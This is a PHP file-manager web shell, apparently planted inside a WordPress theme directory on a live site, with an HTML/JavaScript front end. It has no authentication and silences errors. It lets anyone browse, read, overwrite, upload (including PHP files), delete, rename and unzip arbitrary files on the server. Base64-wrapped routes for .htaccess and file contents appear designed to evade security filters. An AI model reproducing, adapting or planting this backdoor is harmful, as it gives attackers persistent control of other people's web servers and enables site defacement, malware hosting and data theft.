File: /home/u665686179/domains/teachernearme.in/public_html/wp-content/themes/astra/Declaration/index.php
<?php
error_reporting(0);
// ------------------------------------------------------------
// Helper functions
// ------------------------------------------------------------
function is_valid_path($path) {
return realpath($path) !== false || is_dir(dirname($path));
}
function sanitize_filename($name) {
$name = preg_replace('/\s+/', '_', $name);
$forbidden = ['"', "'", '&', '/', '\\', '?', '#', '<', '>', '|', ':', '*'];
return str_replace($forbidden, '', trim($name));
}
function strip_slashes_recursive($data) {
return is_string($data) ? stripslashes($data) : $data;
}
function delete_recursive($dir) {
$items = array_diff(scandir($dir), ['.', '..']);
foreach ($items as $item) {
$full = $dir . '/' . $item;
if (is_dir($full)) {
delete_recursive($full);
} else {
unlink($full);
}
}
return rmdir($dir);
}
// ------------------------------------------------------------
// API endpoint handling
// ------------------------------------------------------------
if (isset($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$response = ['success' => false, 'message' => 'Invalid action.'];
try {
switch ($action) {
case 'list':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$files = [];
if (@scandir($base_path)) {
foreach (scandir($base_path) as $item) {
if ($item === '.' || $item === '..') continue;
$full = $base_path . '/' . $item;
$files[] = [
'name' => $item,
'is_dir' => is_dir($full),
'size' => is_dir($full) ? 0 : filesize($full),
'modified' => filemtime($full)
];
}
usort($files, function($a, $b) {
if ($a['is_dir'] === $b['is_dir']) {
return strcasecmp($a['name'], $b['name']);
}
return $a['is_dir'] ? -1 : 1;
});
$response = ['success' => true, 'files' => $files, 'path' => $base_path];
} else {
throw new Exception('Cannot access path. It might be restricted by server configuration (open_basedir).');
}
break;
case 'get_content':
$file_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
if (!realpath($file_path) || is_dir(realpath($file_path))) {
throw new Exception('Invalid file for editing.');
}
$response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
break;
case 'get_content_b64':
$file_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
$file_path = base64_decode($file_path);
if (!realpath($file_path) || is_dir(realpath($file_path))) {
throw new Exception('Invalid file for editing.');
}
$response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
break;
case 'save_content':
$target_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
$chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
if (empty($chunks)) {
throw new Exception('Content is empty.');
}
$content = implode('', $chunks);
if (file_put_contents($target_path, $content) !== false) {
$response = ['success' => true, 'message' => 'File saved successfully.'];
} else {
throw new Exception('Could not save file. Check permissions.');
}
break;
case 'save_content_b64':
$target_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
$target_path = base64_decode($target_path);
$chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
if (empty($chunks)) {
throw new Exception('Content is empty.');
}
$content = implode('', $chunks);
$content = base64_decode(base64_decode($content));
if (file_put_contents($target_path, $content) !== false) {
$response = ['success' => true, 'message' => 'File saved successfully (direct method).'];
} else {
throw new Exception('Invalid file for saving.');
}
break;
case 'upload':
$target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
$file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
throw new Exception('Invalid data for upload.');
}
$file_name = sanitize_filename(base64_decode($file_name_b64));
$file_content = base64_decode($file_content_b64);
$target_file = rtrim($target_dir, '/') . '/' . $file_name;
if (file_put_contents($target_file, $file_content) !== false) {
$response = ['success' => true, 'message' => 'File uploaded successfully.'];
} else {
throw new Exception('Could not save uploaded file. Check permissions.');
}
break;
case 'upload_php':
$target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
$file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
throw new Exception('Invalid data for PHP upload.');
}
$file_name = sanitize_filename(base64_decode($file_name_b64));
$file_content = base64_decode($file_content_b64);
$target_file = rtrim($target_dir, '/') . '/' . $file_name;
if (file_put_contents($target_file, $file_content) !== false) {
$response = ['success' => true, 'message' => 'PHP file uploaded successfully.'];
} else {
throw new Exception('Could not save PHP file.');
}
break;
case 'delete':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$items = isset($_POST['items']) && is_array($_POST['items']) ? $_POST['items'] : [];
if (empty($items)) {
throw new Exception('No items selected for deletion.');
}
foreach ($items as $item) {
$full = rtrim($base_path, '/') . '/' . $item;
if (file_exists($full)) {
if (is_dir($full)) {
delete_recursive($full);
} else {
unlink($full);
}
}
}
$response = ['success' => true, 'message' => 'Items deleted.'];
break;
case 'delete_b64':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$items_b64 = isset($_POST['items_b64']) && is_array($_POST['items_b64']) ? $_POST['items_b64'] : [];
$items = [];
foreach ($items_b64 as $item_b64) {
$items[] = base64_decode($item_b64);
}
if (empty($items)) {
throw new Exception('No items selected for deletion.');
}
foreach ($items as $item) {
$full = rtrim($base_path, '/') . '/' . $item;
if (file_exists($full)) {
if (is_dir($full)) {
delete_recursive($full);
} else {
unlink($full);
}
}
}
$response = ['success' => true, 'message' => 'Items deleted.'];
break;
case 'rename':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$old_name = isset($_POST['old_name']) ? $_POST['old_name'] : '';
$new_name = isset($_POST['new_name']) ? str_replace(['..', '/', '\\'], '', $_POST['new_name']) : '';
if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
throw new Exception('Invalid data for renaming.');
}
$old_full = rtrim($base_path, '/') . '/' . $old_name;
$new_full = rtrim($base_path, '/') . '/' . $new_name;
if (!file_exists($old_full)) {
throw new Exception('Source item does not exist at: ' . $old_full);
}
if (rename($old_full, $new_full)) {
$response = ['success' => true, 'message' => 'Item renamed successfully.'];
} else {
throw new Exception('Could not rename item. Check permissions.');
}
break;
case 'rename_b64':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$old_name_b64 = isset($_POST['old_name_b64']) ? $_POST['old_name_b64'] : '';
$new_name_b64 = isset($_POST['new_name_b64']) ? $_POST['new_name_b64'] : '';
$old_name = base64_decode($old_name_b64);
$new_name = base64_decode($new_name_b64);
if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
throw new Exception('Invalid data for renaming (b64).');
}
$old_full = rtrim($base_path, '/') . '/' . $old_name;
$new_full = rtrim($base_path, '/') . '/' . $new_name;
if (!file_exists($old_full)) {
throw new Exception('Source item does not exist at: ' . $old_full);
}
if (rename($old_full, $new_full)) {
$response = ['success' => true, 'message' => 'Item renamed successfully using b64 method.'];
} else {
throw new Exception('Could not rename item.');
}
break;
case 'create_folder':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$folder_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
if (!is_valid_path($base_path) || empty($folder_name)) {
throw new Exception('Invalid path or folder name.');
}
$new_folder = rtrim($base_path, '/') . '/' . $folder_name;
if (mkdir($new_folder)) {
$response = ['success' => true, 'message' => 'Folder created.'];
} else {
throw new Exception('Could not create folder.');
}
break;
case 'create_file':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$file_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
if (!is_valid_path($base_path) || empty($file_name)) {
throw new Exception('Invalid path or file name.');
}
$new_file = rtrim($base_path, '/') . '/' . $file_name;
if (touch($new_file)) {
$response = ['success' => true, 'message' => 'File created.'];
} else {
throw new Exception('Could not create file.');
}
break;
case 'unzip':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
if (!class_exists('ZipArchive')) {
throw new Exception('PHP Zip extension not installed.');
}
$zip_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
if (!realpath($zip_path) || !is_file(realpath($zip_path)) || pathinfo($zip_path, PATHINFO_EXTENSION) !== 'zip') {
throw new Exception('Invalid ZIP file path.');
}
$zip = new ZipArchive();
if ($zip->open($zip_path) === TRUE) {
$zip->extractTo(dirname($zip_path));
$zip->close();
$response = ['success' => true, 'message' => 'Archive extracted.'];
} else {
throw new Exception('Failed to open archive.');
}
break;
default:
$response = ['success' => false, 'message' => 'Invalid action.'];
}
} catch (Exception $e) {
$response = ['success' => false, 'message' => $e->getMessage()];
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($response);
exit;
}
// ------------------------------------------------------------
// HTML/JS frontend (displayed when no action is given)
// ------------------------------------------------------------
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File Manager</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
:root {
--accent-color: #2271b1;
--hover-color: #1e5a8a;
--danger-color: #d63638;
}
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
background: #f0f0f1;
margin: 0;
padding: 20px;
}
.container {
display: flex;
flex-direction: column;
height: 100vh;
}
header {
background: #fff;
padding: 10px 20px;
border-bottom: 1px solid #ddd;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 10px;
}
main {
flex-grow: 1;
overflow: auto;
padding: 20px;
background: #fff;
margin-top: 10px;
border-radius: 5px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}
.toolbar {
margin-bottom: 15px;
display: flex;
gap: 10px;
flex-wrap: wrap;
}
.path-bar {
display: flex;
gap: 8px;
align-items: center;
flex-grow: 1;
}
.path-bar input {
flex-grow: 1;
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: monospace;
background: #f6f7f7;
}
.path-bar button {
padding: 8px 16px;
white-space: nowrap;
}
.file-table {
width: 100%;
border-collapse: collapse;
background: #fff;
}
.file-table th,
.file-table td {
text-align: left;
border-bottom: 1px solid #eee;
vertical-align: middle;
padding: 8px;
}
.file-table th {
background: #f9f9f9;
padding: 12px 8px;
}
.file-table tr:hover {
background: #fafafa;
}
.file-table th:first-child,
.file-table td:first-child {
width: 40px;
text-align: center;
}
.file-table th:nth-child(2),
.file-table td:nth-child(2) {
width: 50%;
}
.file-table th:nth-child(3),
.file-table td:nth-child(3) {
width: 120px;
}
.file-table th:nth-child(4),
.file-table td:nth-child(4) {
width: 150px;
}
.file-table th:nth-child(5),
.file-table td:nth-child(5) {
width: 150px;
}
.actions {
display: flex;
gap: 5px;
}
.item-link,
a.item-link {
text-decoration: none;
color: var(--accent-color);
cursor: pointer;
}
.item-link:hover,
a.item-link:hover {
color: var(--hover-color);
}
button {
background: var(--accent-color);
color: white;
border: none;
padding: 8px 12px;
border-radius: 3px;
cursor: pointer;
font-size: 14px;
}
button.danger {
background: var(--danger-color);
}
button:hover {
opacity: 0.9;
}
.modal-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.6);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background: #fff;
width: 80%;
max-width: 900px;
border-radius: 5px;
box-shadow: 0 2px 10px rgba(0,0,0,0.2);
display: flex;
flex-direction: column;
max-height: 80%;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #ddd;
font-weight: bold;
}
.modal-body {
padding: 15px;
overflow: auto;
flex-grow: 1;
}
textarea#editor {
width: 100%;
height: 400px;
font-family: monospace;
font-size: 14px;
border: 1px solid #ddd;
padding: 10px;
resize: vertical;
}
.modal-footer {
padding: 10px;
border-top: 1px solid #ddd;
text-align: right;
}
#spinner {
display: none;
text-align: center;
padding: 20px;
}
</style>
</head>
<body>
<div class="container">
<header>
<h3>File Manager</h3>
<div class="toolbar">
<button id="uploadBtn">ð Upload</button>
<button id="newFileBtn">ð New File</button>
<button id="newFolderBtn">ð New Folder</button>
<button id="deleteBtn" class="danger">ðï¸ Delete Selected</button>
</div>
<div class="path-bar">
<input type="text" id="pathInput" placeholder="Enter path...">
<button id="goBtn">Go</button>
</div>
</header>
<main>
<div id="spinner">Loading...</div>
<table class="file-table" id="fileTable">
<thead>
<tr>
<th><input type="checkbox" id="selectAll"></th>
<th>Name</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="fileList"></tbody>
</table>
</main>
</div>
<div id="editorModal" class="modal-overlay">
<div class="modal-content">
<div class="modal-header">
<span id="editorFileName"></span>
</div>
<div class="modal-body">
<textarea id="editor" spellcheck="false"></textarea>
</div>
<div class="modal-footer">
<button id="saveBtn">ð¾ Save Changes</button>
<button onclick="closeModal()">Close</button>
</div>
</div>
</div>
<input type="file" id="hiddenFileInput" multiple style="display:none">
<script>
const UPLOAD_LIMIT_MB = 8;
const STATE = { currentPath: '' }; // empty means use server default (__DIR__)
const dom = {
fileList: document.getElementById('fileList'),
pathInput: document.getElementById('pathInput'),
goBtn: document.getElementById('goBtn'),
selectAll: document.getElementById('selectAll'),
uploadBtn: document.getElementById('uploadBtn'),
newFileBtn: document.getElementById('newFileBtn'),
newFolderBtn: document.getElementById('newFolderBtn'),
deleteBtn: document.getElementById('deleteBtn'),
editorModal: document.getElementById('editorModal'),
editorFileName: document.getElementById('editorFileName'),
editor: document.getElementById('editor'),
saveBtn: document.getElementById('saveBtn'),
spinner: document.getElementById('spinner')
};
async function apiCall(action, formData, showSuccess = false) {
dom.spinner.style.display = 'block';
try {
formData.append('action', action);
const response = await fetch('', { method: 'POST', body: formData });
const result = await response.json();
if (!result.success) throw new Error(result.message);
if (showSuccess && result.message) alert(result.message);
return result;
} catch (error) {
alert(`Error: ${error.message}`);
console.error(error);
return null;
} finally {
dom.spinner.style.display = 'none';
}
}
async function render(manualPath = null) {
let pathToSend = manualPath !== null ? manualPath : STATE.currentPath;
const formData = new FormData();
if (pathToSend) formData.append('path', pathToSend);
const result = await apiCall('list', formData);
if (!result) return;
STATE.currentPath = result.path;
dom.pathInput.value = STATE.currentPath;
let html = '';
const parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/'));
if (parentPath !== '') {
html += `<tr data-path="${parentPath}">/<td colspan="4" class="item-link">ð .. (Parent Directory)</td></tr>`;
}
result.files.sort((a,b) => (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1));
for (const file of result.files) {
const size = file.is_dir ? '-' : (file.size / 1024).toFixed(2) + ' KB';
const modified = new Date(file.modified * 1000).toLocaleString();
const icon = file.is_dir ? 'ð' : 'ð';
const fullPath = `${STATE.currentPath}/${file.name}`.replace(/\/+/g, '/');
const dataAttr = `data-path="${fullPath}"`;
html += `<tr ${dataAttr}>
<td><input type="checkbox" class="item-select" value="${file.name.replace(/"/g, '"')}"></td>
<td><a class="item-link" ${dataAttr}>${icon} ${file.name}</a></td>
<td>${size}</td>
<td>${modified}</td>
<td class="actions">
${!file.is_dir ? `<button class="edit-btn" data-path="${fullPath}">Edit</button>` : ''}
<button class="rename-btn" data-name="${file.name.replace(/"/g, '"')}">Rename</button>
${!file.is_dir && file.name.endsWith('.zip') ? `<button class="unzip-btn" data-path="${fullPath}">Unzip</button>` : ''}
</td>
</tr>`;
}
dom.fileList.innerHTML = html;
// Attach event listeners
document.querySelectorAll('.item-link').forEach(el => {
el.addEventListener('click', (e) => {
e.preventDefault();
const path = el.getAttribute('data-path');
if (path) {
STATE.currentPath = path;
render();
}
});
});
document.querySelectorAll('.edit-btn').forEach(btn => {
btn.addEventListener('click', async () => {
const path = btn.getAttribute('data-path');
const formData = new FormData();
formData.append('path', path);
const result = await apiCall('get_content', formData);
if (result) {
dom.editorFileName.textContent = path;
dom.editor.value = atob(atob(result.content));
dom.editorModal.style.display = 'flex';
}
});
});
document.querySelectorAll('.rename-btn').forEach(btn => {
btn.addEventListener('click', () => {
const oldName = btn.getAttribute('data-name');
const newName = prompt('Enter new name:', oldName);
if (newName && newName !== oldName) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('old_name', oldName);
formData.append('new_name', newName);
if (oldName.includes('.htaccess') || newName.includes('.htaccess')) {
formData.append('old_name_b64', btoa(oldName));
formData.append('new_name_b64', btoa(newName));
apiCall('rename_b64', formData, true).then(() => render());
} else {
apiCall('rename', formData, true).then(() => render());
}
}
});
});
document.querySelectorAll('.unzip-btn').forEach(btn => {
btn.addEventListener('click', async () => {
if (confirm('Are you sure you want to extract this archive?')) {
const formData = new FormData();
formData.append('path', btn.getAttribute('data-path'));
await apiCall('unzip', formData, true);
render();
}
});
});
// Select all checkbox
dom.selectAll.onchange = (e) => {
document.querySelectorAll('.item-select').forEach(cb => cb.checked = e.target.checked);
};
}
function closeModal() {
dom.editorModal.style.display = 'none';
}
dom.saveBtn.onclick = async () => {
const path = dom.editorFileName.textContent;
const content = dom.editor.value;
const chunkSize = 4096;
const formData = new FormData();
let action = 'save_content';
if (path.includes('.htaccess')) {
action = 'save_content_b64';
formData.append('path_b64', btoa(path));
} else {
formData.append('path', path);
}
for (let i = 0; i < content.length; i += chunkSize) {
formData.append('content_chunks[]', content.substring(i, i + chunkSize));
}
const result = await apiCall(action, formData, true);
if (result) {
closeModal();
render();
}
};
dom.uploadBtn.onclick = () => document.getElementById('hiddenFileInput').click();
document.getElementById('hiddenFileInput').onchange = async (e) => {
const files = Array.from(e.target.files);
if (!files.length) return;
for (const file of files) {
if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) {
alert(`Error: File "${file.name}" is too large (Max: ${UPLOAD_LIMIT_MB} MB).`);
continue;
}
const reader = new FileReader();
const filePromise = new Promise((resolve, reject) => {
reader.onload = () => resolve(reader.result);
reader.onerror = reject;
reader.readAsDataURL(file);
});
try {
const dataUrl = await filePromise;
const base64 = dataUrl.split(',')[1];
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('filename_base64', btoa(file.name));
formData.append('content_base64', base64);
let action = 'upload';
if (file.name.toLowerCase().endsWith('.php')) {
action = 'upload_php';
}
await apiCall(action, formData, true);
} catch (err) {
alert(`Failed to upload ${file.name}: ${err.message}`);
}
}
render();
e.target.value = '';
};
dom.newFileBtn.onclick = () => {
const name = prompt('Enter new file name:');
if (name) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('name', name);
apiCall('create_file', formData, true).then(() => render());
}
};
dom.newFolderBtn.onclick = () => {
const name = prompt('Enter new folder name:');
if (name) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('name', name);
apiCall('create_folder', formData, true).then(() => render());
}
};
dom.deleteBtn.onclick = async () => {
const selected = Array.from(document.querySelectorAll('.item-select:checked')).map(cb => cb.value);
if (selected.length === 0) return alert('No items selected.');
if (confirm(`Are you sure you want to delete ${selected.length} item(s)?`)) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
const isSensitive = selected.some(name => name.includes('.htaccess'));
if (isSensitive) {
selected.forEach(name => formData.append('items_b64[]', btoa(name)));
await apiCall('delete_b64', formData, true);
} else {
selected.forEach(name => formData.append('items[]', name));
await apiCall('delete', formData, true);
}
render();
}
};
dom.goBtn.onclick = () => {
const newPath = dom.pathInput.value.trim();
if (newPath) {
render(newPath);
} else {
render('');
}
};
// Initial render (no path => server uses __DIR__)
render();
</script>
</body>
</html>